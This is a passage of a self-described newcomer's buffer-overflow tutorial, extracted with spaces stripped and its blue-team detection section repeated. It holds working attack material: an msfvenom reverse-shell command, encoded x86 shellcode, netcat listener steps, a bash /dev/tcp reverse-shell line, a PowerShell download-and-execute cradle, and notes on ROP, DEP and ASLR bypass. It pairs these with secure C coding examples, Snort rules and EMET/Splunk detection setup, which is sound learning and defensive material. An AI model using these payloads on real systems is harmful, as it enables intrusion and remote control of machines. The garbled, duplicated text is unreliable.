collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

